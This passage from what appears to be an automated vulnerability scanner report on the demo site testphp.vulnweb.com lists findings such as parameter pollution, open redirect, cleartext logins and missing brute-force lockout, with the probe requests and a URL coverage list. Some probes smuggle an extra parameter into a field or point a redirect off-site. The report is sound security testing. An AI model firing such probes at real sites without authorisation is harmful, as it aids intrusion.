User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/hpp/index.php

Details

URL encoded GET input pp was set to 12&n937781=v932503
Parameter precedence: last occurrence
Affected link: params.php?p=valid&pp=12&n937781=v932503
Affected parameter: p=valid

Request headers

```
GET /hpp/index.php?pp=12%26n937781%3dv932503 HTTP/1.1
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Insecure crossdomain.xml file

Severity	**Medium**
Type	Configuration
Reported by module	Scripting (Crossdomain_XML.script)

Description

The browser security model normally prevents web content from one domain from accessing data from another domain. This is commonly known as the "same origin policy". URL policy files grant cross-domain permissions for reading data. They permit operations that are not permitted by default. The URL policy file is located, by default, in the root directory of the target server, with the name crossdomain.xml (for example, at www.example.com/crossdomain.xml).

When a domain is specified in crossdomain.xml file, the site declares that it is willing to allow the operators of any servers in that domain to obtain any document on the server where the policy file resides. The crossdomain.xml file deployed on this website opens the server to all domains (use of a single asterisk "*" as a pure wildcard is supported) like so:
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
This practice is suitable for public servers, but should not be used for sites located behind a firewall because it could permit access to protected areas. It should not be used for sites that require authentication in the form of passwords or cookies. Sites that use the common practice of authentication based on cookies to access private or user-specific data should be especially careful when using cross-domain policy files.

Impact

Using an insecure cross-domain policy file could expose your site to various attacks.

Recommendation

Carefully evaluate which sites will be allowed to make cross-domain calls. Consider network topology and any authentication mechanisms that will be affected by the configuration or implementation of the cross-domain policy.

References

Cross-domain policy file usage recommendations for Flash Player
Cross-domain policy files

Affected items

Web Server
Details
The crossdomain.xml file is located at /crossdomain.xml
Request headers

```
GET /crossdomain.xml HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

URL redirection

Severity	**Medium**
Type	Validation
Reported by module	Scripting (XFS_and_Redir.script)

Description

This script is possibly vulnerable to URL redirection attacks.

URL redirection is sometimes used as a part of phishing attacks that confuse visitors about which web site they are visiting.

Impact

A remote attacker can redirect users from your website to a specified URL. This problem may assist an attacker to conduct phishing attacks, trojan distribution, spammers.

Recommendation

Your script should properly sanitize user input.

References

HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
URL Redirection Security Vulnerability

Affected items

/redir.php

Details

URL encoded GET input r was set to http://www.vulnweb.com.

Request headers

```
GET /redir.php?r=http://www.vulnweb.com HTTP/1.1
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

User credentials are sent in clear text

Severity	**Medium**
Type	Configuration
Reported by module	Crawler

Description

User credentials are transmitted over an unencrypted channel. This information should always be transferred via an encrypted channel (HTTPS) to avoid being intercepted by malicious users.

Impact

A third party may be able to read the user credentials by intercepting an unencrypted HTTP connection.

Recommendation

Because user credentials are considered sensitive information, should always be transferred to the server over an encrypted connection (HTTPS).

Affected items

/login.php

Details

Form name: loginform
Form action: http://testphp.vulnweb.com/userinfo.php
Form method: POST

Form inputs:

- uname [Text]
- pass [Password]

Request headers

```
GET /login.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/signup.php

Details

Form name: form1
Form action: http://testphp.vulnweb.com/secured/newuser.php
Form method: POST

Form inputs:

- uuname [Text]
- upass [Password]
- upass2 [Password]
- urname [Text]
- ucc [Text]
- uemail [Text]
- uphone [Text]
- uaddress [TextArea]
- signup [Submit]

Request headers

```
GET /signup.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/login.php
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Clickjacking: X-Frame-Options header missing

Severity	**Low**
Type	Configuration
Reported by module	Scripting (Clickjacking_X_Frame_Options.script)

Description

Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.

The server didn't return an X-Frame-Options header which means that this website could be at risk of a clickjacking attack. The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page inside a frame or iframe. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.

Impact

The impact depends on the affected web application.

Recommendation

Configure your web server to include an X-Frame-Options header. Consult Web references for more information about the possible values for this header.

References

Clickjacking
OWASP Clickjacking
Defending with Content Security Policy frame-ancestors directive
Frame Buster Buster
Clickjacking Protection for Java EE
The X-Frame-Options response header

Affected items

Web Server

Details

No details are available.

Request headers

```
GET / HTTP/1.1
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Hidden form input named price was found

Severity	**Low**
Type	Informational
Reported by module	Crawler

Description

A hidden form input named price was found. It's not recommended to hide sensitive information in hidden form fields.

Impact

User may change price information before submitting the form.

Recommendation

Check if the script inputs are properly validated.

Affected items

/product.php (a770732ffe2df697cc80cbd86328ad78)

Details

Form name: f_addcart
Form action: http://testphp.vulnweb.com/cart.php
Form method: POST

Form inputs:

- price [Hidden]
- addcart [Hidden]

Request headers

```
GET /product.php?pic=3 HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/search.php
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Login page password-guessing attack

Severity	**Low**
Type	Validation
Reported by module	Scripting (Html_Authentication_Audit.script)

Description

A common threat web developers face is a password-guessing attack known as a brute force attack. A brute-force attack is an attempt to discover a password by systematically trying every possible combination of letters, numbers, and symbols until you discover the one correct combination that works.

This login page doesn't have any protection against password-guessing attacks (brute force attacks). It's recommended to implement some type of account lockout after a defined number of incorrect password attempts. Consult Web references for more information about fixing this problem.

Impact

An attacker may attempt to discover a weak password by systematically trying every possible combination of letters, numbers, and symbols until it discovers the one correct combination that works.

Recommendation

It's recommended to implement some type of account lockout after a defined number of incorrect password attempts.

References

Blocking Brute Force Attacks

Affected items

/userinfo.php

Details

The scanner tested 10 invalid credentials and no account lockout was detected.

Request headers

```
POST /userinfo.php HTTP/1.1
Content-Length: 28
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

pass=I7n3DbBQ&uname=qLLuxf4K
```

Possible virtual host found

Severity	**Low**
Type	Configuration
Reported by module	Scripting (VirtualHost_Audit.script)

Description

Virtual hosting is a method for hosting multiple domain names (with separate handling of each name) on a single server (or pool of servers). This allows one server to share its resources, such as memory and processor cycles, without requiring all services provided to use the same host name.

This web server is responding differently when the Host header is manipulated and various common virtual hosts are tested. This could indicate there is a Virtual Host present.

Impact

Possible sensitive information disclosure.

Recommendation

Consult the virtual host configuration and check if this virtual host should be publicly accessible.

References

Virtual hosting

Affected items

localhost

Details

```
VirtualHost: localhost
Response: <!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href
```

Request headers

```
GET / HTTP/1.1
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Broken links

Severity	**Informational**
Type	Informational
Reported by module	Crawler

Description

A broken link refers to any link that should take you to a document, image or webpage, that actually results in an error. This page was linked from the website but it is inaccessible.

Impact

Problems navigating the site.

Recommendation

Remove the links to this file or make it accessible.

Affected items

/medias/css/main.css

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /medias/css/main.css HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/pictures/path-disclosure-unix.html
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/medias/js/common_functions.js

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /medias/js/common_functions.js HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/pictures/path-disclosure-unix.html
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/privacy.php

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /privacy.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/secured/office_files/filelist.xml

Details

For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane.

Request headers

```
GET /secured/office_files/filelist.xml HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/secured/office.htm
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Password type input with auto-complete enabled

Severity	**Informational**
Type	Informational
Reported by module	Crawler

Description

When a new name and password is entered in a form and the form is submitted, the browser asks if the password should be saved.Thereafter when the form is displayed, the name and password are filled in automatically or are completed as the name is entered. An attacker with local access could obtain the cleartext password from the browser cache.

Impact

Possible sensitive information disclosure.

Recommendation

The password auto-complete should be disabled in sensitive applications.
To disable auto-complete, you may use a code similar to:
<INPUT TYPE="password" AUTOCOMPLETE="off">

Affected items

/login.php

Details

Password type input named pass from form named loginform with action userinfo.php has autocomplete enabled.

Request headers

```
GET /login.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/signup.php

Details

Password type input named upass2 from form named form1 with action /secured/newuser.php has autocomplete enabled.

Request headers

```
GET /signup.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/login.php
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/signup.php

Details

Password type input named upass from form named form1 with action /secured/newuser.php has autocomplete enabled.

Request headers

```
GET /signup.php HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testphp.vulnweb.com/login.php
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: aspectalerts
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Scanned items (coverage report)

Scanned 132 URLs. Found 33 vulnerable.

URL: http://testphp.vulnweb.com/

Vulnerabilities have been identified for this URL

8 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
-	Path Fragment (suffix .html)
/Mod_Rewrite_Shop/	Path Fragment (suffix .html)

Input scheme 2	
Input name	Input type
-	Path Fragment (suffix /)
/Mod_Rewrite_Shop/	Path Fragment (suffix /)

Input scheme 3	
Input name	Input type
/	Path Fragment (suffix /)
/	Path Fragment (suffix /)
/Mod_Rewrite_Shop/	Path Fragment (suffix /)

Input scheme 4	
Input name	Input type
Host	HTTP Header

URL: http://testphp.vulnweb.com/search.php

Vulnerabilities have been identified for this URL

5 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
test	URL encoded GET
	URL encoded POST
searchFor	URL encoded POST

Input scheme 2	
Input name	Input type
test	URL encoded GET
searchFor	URL encoded POST

URL: http://testphp.vulnweb.com/hpp/

Vulnerabilities have been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
pp	URL encoded GET

URL: http://testphp.vulnweb.com/hpp/index.php

Vulnerabilities have been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type

pp	URL encoded GET

URL: http://testphp.vulnweb.com/hpp/test.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/cart.php

Vulnerabilities have been identified for this URL

2 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
addcart	URL encoded POST
price	URL encoded POST

URL: http://testphp.vulnweb.com/index.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/login.php

Vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/style.css

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/artists.php

Vulnerabilities have been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
artist	URL encoded GET

URL: http://testphp.vulnweb.com/privacy.php

Vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/userinfo.php

Vulnerabilities have been identified for this URL

3 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
pass	URL encoded POST
uname	URL encoded POST

Input scheme 2	
Input name	Input type
uname	URL encoded POST

URL: http://testphp.vulnweb.com/guestbook.php

Vulnerabilities have been identified for this URL

5 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type

name	URL encoded POST
text	URL encoded POST

Input scheme 2	
Input name	Input type
	URL encoded POST
name	URL encoded POST
text	URL encoded POST

URL: http://testphp.vulnweb.com/disclaimer.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/categories.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/AJAX/

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/AJAX/index.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/AJAX/styles.css

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/AJAX/titles.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/AJAX/artists.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/AJAX/categories.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/AJAX/showxml.php

No vulnerabilities have been identified for this URL

5 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
text/xml	Custom POST
xml.node#text	XML
xml.node#text	XML
xml.node:name	XML
xml.node:name	XML

URL: http://testphp.vulnweb.com/AJAX/infoartist.php

Vulnerabilities have been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
id	URL encoded GET

URL: http://testphp.vulnweb.com/AJAX/infocateg.php

Vulnerabilities have been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
id	URL encoded GET

URL: http://testphp.vulnweb.com/AJAX/infotitle.php

Vulnerabilities have been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
id	URL encoded POST

URL: http://testphp.vulnweb.com/AJAX/htaccess.conf

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/Flash/

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/Flash/add.swf

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/images/

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/

Vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/images/

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3/

Vulnerabilities have been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
id	URL encoded GET

URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2/

Vulnerabilities have been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
id	URL encoded GET

URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/

Vulnerabilities have been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
id	URL encoded GET

URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-3/

Vulnerabilities have been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
id	URL encoded GET

URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/RateProduct-3.html

Vulnerabilities have been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
id	URL encoded GET

URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-2/

Vulnerabilities have been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
id	URL encoded GET

URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/RateProduct-2.html

Vulnerabilities have been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
id	URL encoded GET

URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-1/

Vulnerabilities have been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
id	URL encoded GET

URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/RateProduct-1.html

Vulnerabilities have been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
id	URL encoded GET

URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/.htaccess

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/buy.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/details.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/index.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/rate.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/product.php

Vulnerabilities have been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
pic	URL encoded GET

URL: http://testphp.vulnweb.com/showimage.php

Vulnerabilities have been identified for this URL

3 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
file	URL encoded GET
size	URL encoded GET

Input scheme 2	
Input name	Input type
file	URL encoded GET

URL: http://testphp.vulnweb.com/listproducts.php

Vulnerabilities have been identified for this URL

4 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
cat	URL encoded GET

Input scheme 2	
Input name	Input type
artist	URL encoded GET

Input scheme 3	
Input name	Input type
artist	URL encoded GET
cat	URL encoded GET

URL: http://testphp.vulnweb.com/signup.php

Vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/Templates/

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/Templates/main_dynamic_template.dwt.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/redir.php

Vulnerabilities have been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
r	URL encoded GET

URL: http://testphp.vulnweb.com:80/crossdomain.xml

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/secured/

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/secured/newuser.php

Vulnerabilities have been identified for this URL

10 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
	URL encoded POST
uaddress	URL encoded POST
ucc	URL encoded POST
uemail	URL encoded POST
upass	URL encoded POST
upass2	URL encoded POST
uphone	URL encoded POST
urname	URL encoded POST
uuname	URL encoded POST

Input scheme 2	
Input name	Input type

signup	URL encoded POST

URL: http://testphp.vulnweb.com/secured/style.css

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/secured/database_connect.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/secured/index.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/secured/office.htm

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/secured/phpinfo.php

No vulnerabilities have been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
	URL encoded GET

URL: http://testphp.vulnweb.com/secured/office_files

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/secured/office_files/filelist.xml

Vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/comment.php

Vulnerabilities have been identified for this URL

17 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
aid	URL encoded GET

Input scheme 2	
Input name	Input type
	URL encoded POST
comment	URL encoded POST
name	URL encoded POST
phpaction	URL encoded POST

Input scheme 3	
Input name	Input type
pid	URL encoded GET

Input scheme 4	
Input name	Input type
aid	URL encoded GET
pid	URL encoded GET

Input scheme 5	
Input name	Input type

aid	URL encoded GET
pid	URL encoded GET
name	URL encoded POST

Input scheme 6	
Input name	Input type
aid	URL encoded GET
pid	URL encoded GET
comment	URL encoded POST
name	URL encoded POST
phpaction	URL encoded POST
Submit	URL encoded POST

URL: http://testphp.vulnweb.com/.idea/

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/.idea/.name

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/.idea/acuart.iml

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/.idea/encodings.xml

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/.idea/misc.xml

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/.idea/modules.xml

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/.idea/scopes/

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/.idea/scopes/scope_settings.xml

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/.idea/vcs.xml

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/.idea/workspace.xml

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/_mmServerScripts/

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/_mmServerScripts/MMHTTPDB.php

No vulnerabilities have been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
Type	URL encoded POST

URL: http://testphp.vulnweb.com/_mmServerScripts/mysql.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/404.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/adm1nPan3l/

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/adm1nPan3l/index.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/admin/

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/admin/create.sql

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/bxss/

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/bxss/adminPan3l/

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/bxss/adminPan3l/index.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/bxss/adminPan3l/style.css

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/bxss/cleanDatabase.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/bxss/database_connect.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/bxss/index.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/bxss/test.js

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/bxss/vuln.php

No vulnerabilities have been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
id	URL encoded GET

URL: http://testphp.vulnweb.com/clearguestbook.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/clientaccesspolicy.xml

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/Connections/

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/Connections/DB_Connection.php

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/CVS/

No vulnerabilities have been identified for this URL

No input(s) found for this URL

URL: http://testphp.vulnweb.com/CVS/Entries

No vulnerabilities have been identified for this URL

